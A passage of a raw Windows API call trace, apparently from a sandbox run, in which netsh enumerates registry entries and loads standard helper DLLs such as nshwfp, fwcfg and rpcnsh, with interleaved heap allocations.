0x0 [0203.628] GetProcessHeap () returned 0x1e0000 [0203.628] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x160) returned 0x208a80 [0203.628] GetProcessHeap () returned 0x1e0000 [0203.628] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x208970 | out: hHeap=0x1e0000) returned 1 [0203.628] RegisterHelper () returned 0x0 [0203.628] GetProcessHeap () returned 0x1e0000 [0203.628] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1b8) returned 0x208bf0 [0203.628] GetProcessHeap () returned 0x1e0000 [0203.628] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x208a80 | out: hHeap=0x1e0000) returned 1 [0203.628] RegisterHelper () returned 0x0 [0203.628] GetProcessHeap () returned 0x1e0000 [0203.628] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x210) returned 0x208970 [0203.628] GetProcessHeap () returned 0x1e0000 [0203.628] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x208bf0 | out: hHeap=0x1e0000) returned 1 [0203.628] RegisterHelper () returned 0x0 [0203.628] GetProcessHeap () returned 0x1e0000 [0203.628] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x268) returned 0x208b90 [0203.628] GetProcessHeap () returned 0x1e0000 [0203.628] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x208970 | out: hHeap=0x1e0000) returned 1 [0203.629] RegEnumValueW (in: hKey=0x90, dwIndex=0x1, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="nshwfp", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0203.629] _wcsicmp (_String1="nshwfp.dll", _String2="ipxmontr.dll") returned 5 [0203.629] _wcsicmp (_String1="nshwfp.dll", _String2="ipxpromn.dll") returned 5 [0203.629] GetProcessHeap () returned 0x1e0000 [0203.629] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x78) returned 0x208970 [0203.629] GetProcessHeap () returned 0x1e0000 [0203.629] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xe) returned 0x204280 [0203.629] GetProcessHeap () returned 0x1e0000 [0203.629] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x16) returned 0x2042a0 [0203.629] _wcsupr (in: _String="nshwfp.dll" | out: _String="NSHWFP.DLL") returned="NSHWFP.DLL" [0203.629] GetProcessHeap () returned 0x1e0000 [0203.629] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2047d0 | out: hHeap=0x1e0000) returned 1 [0203.629] LoadLibraryW (lpLibFileName="NSHWFP.DLL") returned 0x7fef45d0000 [0204.152] GetProcAddress (hModule=0x7fef45d0000, lpProcName="InitHelperDll") returned 0x7fef463b6d0 [0204.153] InitHelperDll () returned 0x0 [0204.238] RegisterHelper () returned 0x0 [0204.238] GetProcessHeap () returned 0x1e0000 [0204.238] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x2c0) returned 0x212db0 [0204.238] GetProcessHeap () returned 0x1e0000 [0204.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x208b90 | out: hHeap=0x1e0000) returned 1 [0204.239] RegEnumValueW (in: hKey=0x90, dwIndex=0x2, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="dhcpclient", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0204.239] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxmontr.dll") returned -5 [0204.239] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxpromn.dll") returned -5 [0204.239] GetProcessHeap () returned 0x1e0000 [0204.239] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xa0) returned 0x208b90 [0204.239] GetProcessHeap () returned 0x1e0000 [0204.239] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x16) returned 0x2042c0 [0204.239] GetProcessHeap () returned 0x1e0000 [0204.239] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x22) returned 0x2091c0 [0204.239] _wcsupr (in: _String="dhcpcmonitor.dll" | out: _String="DHCPCMONITOR.DLL") returned="DHCPCMONITOR.DLL" [0204.239] GetProcessHeap () returned 0x1e0000 [0204.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x208970 | out: hHeap=0x1e0000) returned 1 [0204.239] LoadLibraryW (lpLibFileName="DHCPCMONITOR.DLL") returned 0x7fef50b0000 [0206.607] GetProcAddress (hModule=0x7fef50b0000, lpProcName="InitHelperDll") returned 0x7fef50b1a40 [0206.607] InitHelperDll () returned 0x0 [0206.608] RegisterHelper () returned 0x0 [0206.608] GetProcessHeap () returned 0x1e0000 [0206.608] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x318) returned 0x217d80 [0206.608] GetProcessHeap () returned 0x1e0000 [0206.608] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x212db0 | out: hHeap=0x1e0000) returned 1 [0206.608] RegEnumValueW (in: hKey=0x90, dwIndex=0x3, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="wshelper", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0206.608] _wcsicmp (_String1="wshelper.dll", _String2="ipxmontr.dll") returned 14 [0206.608] _wcsicmp (_String1="wshelper.dll", _String2="ipxpromn.dll") returned 14 [0206.608] GetProcessHeap () returned 0x1e0000 [0206.608] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xc8) returned 0x212db0 [0206.609] GetProcessHeap () returned 0x1e0000 [0206.609] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x12) returned 0x215530 [0206.609] GetProcessHeap () returned 0x1e0000 [0206.609] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1a) returned 0x213500 [0206.609] _wcsupr (in: _String="wshelper.dll" | out: _String="WSHELPER.DLL") returned="WSHELPER.DLL" [0206.609] GetProcessHeap () returned 0x1e0000 [0206.609] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x208b90 | out: hHeap=0x1e0000) returned 1 [0206.609] LoadLibraryW (lpLibFileName="WSHELPER.DLL") returned 0x7fef5080000 [0207.167] GetProcAddress (hModule=0x7fef5080000, lpProcName="InitHelperDll") returned 0x7fef5081720 [0207.167] InitHelperDll () returned 0x0 [0207.177] RegisterHelper () returned 0x0 [0207.177] GetProcessHeap () returned 0x1e0000 [0207.177] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x370) returned 0x218af0 [0207.177] GetProcessHeap () returned 0x1e0000 [0207.177] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x217d80 | out: hHeap=0x1e0000) returned 1 [0207.177] RegEnumValueW (in: hKey=0x90, dwIndex=0x4, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="nshhttp", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0207.177] _wcsicmp (_String1="nshhttp.dll", _String2="ipxmontr.dll") returned 5 [0207.177] _wcsicmp (_String1="nshhttp.dll", _String2="ipxpromn.dll") returned 5 [0207.177] GetProcessHeap () returned 0x1e0000 [0207.177] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xf0) returned 0x218e70 [0207.177] GetProcessHeap () returned 0x1e0000 [0207.177] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x215550 [0207.177] GetProcessHeap () returned 0x1e0000 [0207.177] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x215570 [0207.177] _wcsupr (in: _String="nshhttp.dll" | out: _String="NSHHTTP.DLL") returned="NSHHTTP.DLL" [0207.177] GetProcessHeap () returned 0x1e0000 [0207.177] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x212db0 | out: hHeap=0x1e0000) returned 1 [0207.177] LoadLibraryW (lpLibFileName="NSHHTTP.DLL") returned 0x7fef5070000 [0207.281] GetProcAddress (hModule=0x7fef5070000, lpProcName="InitHelperDll") returned 0x7fef5071c24 [0207.282] InitHelperDll () returned 0x0 [0207.282] RegisterHelper () returned 0x0 [0207.282] GetProcessHeap () returned 0x1e0000 [0207.282] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x3c8) returned 0x218f70 [0207.282] GetProcessHeap () returned 0x1e0000 [0207.282] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x218af0 | out: hHeap=0x1e0000) returned 1 [0207.282] RegEnumValueW (in: hKey=0x90, dwIndex=0x5, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="fwcfg", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0207.282] _wcsicmp (_String1="fwcfg.dll", _String2="ipxmontr.dll") returned -3 [0207.282] _wcsicmp (_String1="fwcfg.dll", _String2="ipxpromn.dll") returned -3 [0207.282] GetProcessHeap () returned 0x1e0000 [0207.282] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x118) returned 0x217d80 [0207.282] GetProcessHeap () returned 0x1e0000 [0207.282] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xc) returned 0x215590 [0207.282] GetProcessHeap () returned 0x1e0000 [0207.282] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x14) returned 0x2155b0 [0207.282] _wcsupr (in: _String="fwcfg.dll" | out: _String="FWCFG.DLL") returned="FWCFG.DLL" [0207.282] GetProcessHeap () returned 0x1e0000 [0207.282] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x218e70 | out: hHeap=0x1e0000) returned 1 [0207.282] LoadLibraryW (lpLibFileName="FWCFG.DLL") returned 0x7fef5040000 [0207.995] GetProcAddress (hModule=0x7fef5040000, lpProcName="InitHelperDll") returned 0x7fef5042d20 [0207.995] InitHelperDll () returned 0x0 [0207.995] RegisterHelper () returned 0x0 [0207.995] GetProcessHeap () returned 0x1e0000 [0207.995] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x420) returned 0x218af0 [0207.995] GetProcessHeap () returned 0x1e0000 [0207.995] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x218f70 | out: hHeap=0x1e0000) returned 1 [0207.995] RegEnumValueW (in: hKey=0x90, dwIndex=0x6, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="authfwcfg", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0207.995] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxmontr.dll") returned -8 [0207.995] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxpromn.dll") returned -8 [0207.995] GetProcessHeap () returned 0x1e0000 [0207.995] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x140) returned 0x218f20 [0207.995] GetProcessHeap () returned 0x1e0000 [0207.995] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x14) returned 0x2155f0 [0207.995] GetProcessHeap () returned 0x1e0000 [0207.995] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1c) returned 0x218670 [0207.995] _wcsupr (in: _String="authfwcfg.dll" | out: _String="AUTHFWCFG.DLL") returned="AUTHFWCFG.DLL" [0207.995] GetProcessHeap () returned 0x1e0000 [0207.996] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x217d80 | out: hHeap=0x1e0000) returned 1 [0207.996] LoadLibraryW (lpLibFileName="AUTHFWCFG.DLL") returned 0x7fef9320000 [0209.302] GetProcAddress (hModule=0x7fef9320000, lpProcName="InitHelperDll") returned 0x7fef9325d20 [0209.302] InitHelperDll () returned 0x0 [0209.306] RegisterHelper () returned 0x0 [0209.306] GetProcessHeap () returned 0x1e0000 [0209.306] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x478) returned 0x2207d0 [0209.306] GetProcessHeap () returned 0x1e0000 [0209.306] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x218af0 | out: hHeap=0x1e0000) returned 1 [0209.306] RegisterHelper () returned 0x0 [0209.306] GetProcessHeap () returned 0x1e0000 [0209.306] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x4d0) returned 0x220c50 [0209.307] GetProcessHeap () returned 0x1e0000 [0209.307] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2207d0 | out: hHeap=0x1e0000) returned 1 [0209.307] RegisterHelper () returned 0x0 [0209.307] GetProcessHeap () returned 0x1e0000 [0209.307] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x528) returned 0x221130 [0209.307] GetProcessHeap () returned 0x1e0000 [0209.307] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x220c50 | out: hHeap=0x1e0000) returned 1 [0209.307] RegisterHelper () returned 0x0 [0209.307] GetProcessHeap () returned 0x1e0000 [0209.307] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x580) returned 0x2207d0 [0209.307] GetProcessHeap () returned 0x1e0000 [0209.307] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x221130 | out: hHeap=0x1e0000) returned 1 [0209.307] RegisterHelper () returned 0x0 [0209.307] GetProcessHeap () returned 0x1e0000 [0209.307] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x5d8) returned 0x220d60 [0209.307] GetProcessHeap () returned 0x1e0000 [0209.307] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2207d0 | out: hHeap=0x1e0000) returned 1 [0209.307] RegEnumValueW (in: hKey=0x90, dwIndex=0x7, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="2", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0209.307] _wcsicmp (_String1="ifmon.dll", _String2="ipxmontr.dll") returned -10 [0209.307] _wcsicmp (_String1="ifmon.dll", _String2="ipxpromn.dll") returned -10 [0209.307] GetProcessHeap () returned 0x1e0000 [0209.307] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x168) returned 0x219070 [0209.308] GetProcessHeap () returned 0x1e0000 [0209.308] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x4) returned 0x208bb0 [0209.308] GetProcessHeap () returned 0x1e0000 [0209.308] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x14) returned 0x220200 [0209.308] _wcsupr (in: _String="ifmon.dll" | out: _String="IFMON.DLL") returned="IFMON.DLL" [0209.308] GetProcessHeap () returned 0x1e0000 [0209.308] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x218f20 | out: hHeap=0x1e0000) returned 1 [0209.308] LoadLibraryW (lpLibFileName="IFMON.DLL") returned 0x7fef92f0000 [0210.168] GetProcAddress (hModule=0x7fef92f0000, lpProcName="InitHelperDll") returned 0x7fef92f1924 [0210.168] InitHelperDll () returned 0x0 [0210.168] RegisterHelper () returned 0x0 [0210.168] GetProcessHeap () returned 0x1e0000 [0210.168] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x630) returned 0x222c10 [0210.168] GetProcessHeap () returned 0x1e0000 [0210.169] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x220d60 | out: hHeap=0x1e0000) returned 1 [0210.169] RegEnumValueW (in: hKey=0x90, dwIndex=0x8, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="netiohlp", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0210.171] _wcsicmp (_String1="netiohlp.dll", _String2="ipxmontr.dll") returned 5 [0210.171] _wcsicmp (_String1="netiohlp.dll", _String2="ipxpromn.dll") returned 5 [0210.171] GetProcessHeap () returned 0x1e0000 [0210.171] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x190) returned 0x218af0 [0210.171] GetProcessHeap () returned 0x1e0000 [0210.171] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x12) returned 0x220320 [0210.171] GetProcessHeap () returned 0x1e0000 [0210.171] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1a) returned 0x221a00 [0210.171] _wcsupr (in: _String="netiohlp.dll" | out: _String="NETIOHLP.DLL") returned="NETIOHLP.DLL" [0210.171] GetProcessHeap () returned 0x1e0000 [0210.171] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x219070 | out: hHeap=0x1e0000) returned 1 [0210.171] LoadLibraryW (lpLibFileName="NETIOHLP.DLL") returned 0x7fef92b0000 [0210.922] GetProcAddress (hModule=0x7fef92b0000, lpProcName="InitHelperDll") returned 0x7fef92cce30 [0210.922] InitHelperDll () returned 0x0 [0210.922] RegisterHelper () returned 0x0 [0210.922] GetProcessHeap () returned 0x1e0000 [0210.922] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x688) returned 0x218c90 [0210.922] GetProcessHeap () returned 0x1e0000 [0210.922] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x222c10 | out: hHeap=0x1e0000) returned 1 [0210.922] RegisterHelper () returned 0x0 [0210.922] GetProcessHeap () returned 0x1e0000 [0210.922] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x6e0) returned 0x222c10 [0210.922] GetProcessHeap () returned 0x1e0000 [0210.922] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x218c90 | out: hHeap=0x1e0000) returned 1 [0210.922] RegisterHelper () returned 0x0 [0210.922] GetProcessHeap () returned 0x1e0000 [0210.922] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x738) returned 0x223300 [0210.922] GetProcessHeap () returned 0x1e0000 [0210.922] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x222c10 | out: hHeap=0x1e0000) returned 1 [0210.922] RegisterHelper () returned 0x0 [0210.922] GetProcessHeap () returned 0x1e0000 [0210.922] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x790) returned 0x223a40 [0210.923] GetProcessHeap () returned 0x1e0000 [0210.923] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x223300 | out: hHeap=0x1e0000) returned 1 [0210.923] RegisterHelper () returned 0x0 [0210.923] GetProcessHeap () returned 0x1e0000 [0210.923] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x7e8) returned 0x2241e0 [0210.923] GetProcessHeap () returned 0x1e0000 [0210.923] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x223a40 | out: hHeap=0x1e0000) returned 1 [0210.923] RegisterHelper () returned 0x0 [0210.923] GetProcessHeap () returned 0x1e0000 [0210.923] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x840) returned 0x222c10 [0210.923] GetProcessHeap () returned 0x1e0000 [0210.923] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2241e0 | out: hHeap=0x1e0000) returned 1 [0210.923] RegisterHelper () returned 0x0 [0210.923] GetProcessHeap () returned 0x1e0000 [0210.923] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x898) returned 0x223460 [0210.923] GetProcessHeap () returned 0x1e0000 [0210.923] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x222c10 | out: hHeap=0x1e0000) returned 1 [0210.923] RegisterHelper () returned 0x0 [0210.923] GetProcessHeap () returned 0x1e0000 [0210.923] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x8f0) returned 0x223d00 [0210.923] GetProcessHeap () returned 0x1e0000 [0210.923] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x223460 | out: hHeap=0x1e0000) returned 1 [0210.923] RegisterHelper () returned 0x0 [0210.923] GetProcessHeap () returned 0x1e0000 [0210.923] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x948) returned 0x224600 [0210.923] GetProcessHeap () returned 0x1e0000 [0210.923] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x223d00 | out: hHeap=0x1e0000) returned 1 [0210.923] RegEnumValueW (in: hKey=0x90, dwIndex=0x9, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="whhelper", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0210.924] _wcsicmp (_String1="whhelper.dll", _String2="ipxmontr.dll") returned 14 [0210.924] _wcsicmp (_String1="whhelper.dll", _String2="ipxpromn.dll") returned 14 [0210.924] GetProcessHeap () returned 0x1e0000 [0210.924] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1b8) returned 0x220fd0 [0210.924] GetProcessHeap () returned 0x1e0000 [0210.924] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x12) returned 0x220360 [0210.924] GetProcessHeap () returned 0x1e0000 [0210.924] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1a) returned 0x220b60 [0210.924] _wcsupr (in: _String="whhelper.dll" | out: _String="WHHELPER.DLL") returned="WHHELPER.DLL" [0210.924] GetProcessHeap () returned 0x1e0000 [0210.924] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x218af0 | out: hHeap=0x1e0000) returned 1 [0210.924] LoadLibraryW (lpLibFileName="WHHELPER.DLL") returned 0x7fef92a0000 [0211.431] GetProcAddress (hModule=0x7fef92a0000, lpProcName="InitHelperDll") returned 0x7fef92a210c [0211.431] InitHelperDll () returned 0x0 [0211.431] RegisterHelper () returned 0x0 [0211.431] GetProcessHeap () returned 0x1e0000 [0211.431] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x9a0) returned 0x223c10 [0211.431] GetProcessHeap () returned 0x1e0000 [0211.431] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x224600 | out: hHeap=0x1e0000) returned 1 [0211.431] RegEnumValueW (in: hKey=0x90, dwIndex=0xa, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="hnetmon", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0211.431] _wcsicmp (_String1="hnetmon.dll", _String2="ipxmontr.dll") returned -1 [0211.431] _wcsicmp (_String1="hnetmon.dll", _String2="ipxpromn.dll") returned -1 [0211.431] GetProcessHeap () returned 0x1e0000 [0211.431] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1e0) returned 0x218af0 [0211.431] GetProcessHeap () returned 0x1e0000 [0211.431] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x220380 [0211.431] GetProcessHeap () returned 0x1e0000 [0211.431] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x2203a0 [0211.431] _wcsupr (in: _String="hnetmon.dll" | out: _String="HNETMON.DLL") returned="HNETMON.DLL" [0211.431] GetProcessHeap () returned 0x1e0000 [0211.431] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x220fd0 | out: hHeap=0x1e0000) returned 1 [0211.432] LoadLibraryW (lpLibFileName="HNETMON.DLL") returned 0x7fef9290000 [0213.715] GetProcAddress (hModule=0x7fef9290000, lpProcName="InitHelperDll") returned 0x7fef92922a4 [0213.715] InitHelperDll () returned 0x0 [0213.715] RegisterHelper () returned 0x0 [0213.715] GetProcessHeap () returned 0x1e0000 [0213.715] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x9f8) returned 0x224dc0 [0213.715] GetProcessHeap () returned 0x1e0000 [0213.715] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x223c10 | out: hHeap=0x1e0000) returned 1 [0213.715] RegEnumValueW (in: hKey=0x90, dwIndex=0xb, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="rpc", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0213.715] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxmontr.dll") returned 9 [0213.715] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxpromn.dll") returned 9 [0213.715] GetProcessHeap () returned 0x1e0000 [0213.716] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x208) returned 0x218ce0 [0213.716] GetProcessHeap () returned 0x1e0000 [0213.716] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x8) returned 0x221300 [0213.716] GetProcessHeap () returned 0x1e0000 [0213.716] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x16) returned 0x220420 [0213.716] _wcsupr (in: _String="rpcnsh.dll" | out: _String="RPCNSH.DLL") returned="RPCNSH.DLL" [0213.716] GetProcessHeap () returned 0x1e0000 [0213.716] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x218af0 | out: hHeap=0x1e0000) returned 1 [0213.716] LoadLibraryW (lpLibFileName="RPCNSH.DLL") returned 0x7fef9280000 [0215.022] GetProcAddress (hModule=0x7fef9280000, lpProcName="InitHelperDll") returned 0x7fef9282e88 [0215.022] InitHelperDll () returned 0x0 [0215.022] RegisterHelper () returned 0x0 [0215.022] GetProcessHeap () returned 0x1e0000 [0215.022] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xa50) returned 0x2257c0 [0215.022] GetProcessHeap () returned 0x1e0000 [0215.022] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x224dc0 | out: hHeap=0x1e0000) returned 1 [0215.022] RegisterHelper () returned 0x0 [0215.022] GetProcessHeap () returned 0x1e0000 [0215.022] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xaa8) returned 0x226220 [0215.022] GetProcessHeap () returned 0x1e0000 [0215.022] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2257c0 | out: hHeap=0x1e0000) returned 1 [0215.022] RegEnumValueW (in: hKey=0x90, dwIndex=0xc, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="dot3cfg", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0215.023] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxmontr.dll") returned -5 [0215.023] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxpromn.dll") returned -5 [0215.023] GetProcessHeap () returned 0x1e0000 [0215.023] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x230) returned 0x226cd0 [0215.023] GetProcessHeap () returned 0x1e0000 [0215.023] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x220440 [0215.023] GetProcessHeap () returned 0x1e0000 [0215.023] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x220460 [0215.023] _wcsupr (in: _String="dot3cfg.dll" | out: _String="DOT3CFG.DLL") returned="DOT3CFG.DLL" [0215.023] GetProcessHeap () returned 0x1e0000 [0215.023] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x218ce0 | out: hHeap=0x1e0000) returned 1 [0215.023] LoadLibraryW (lpLibFileName="DOT3CFG.DLL") returned 0x7fef9260000 [0215.840] GetProcAddress (hModule=0x7fef9260000, lpProcName="InitHelperDll") returned 0x7fef926390c [0215.840] InitHelperDll () returned 0x0 [0215.840] RegisterHelper () returned 0x0 [0215.840] GetProcessHeap () returned 0x1e0000 [0215.840] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xb00) returned 0x226f10 [0215.840] GetProcessHeap () returned 0x1e0000 [0215.840] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x226220 | out: hHeap=0x1e0000) returned 1 [0215.840] RegEnumValueW (in: hKey=0x90, dwIndex=0xd, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="napmontr", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, 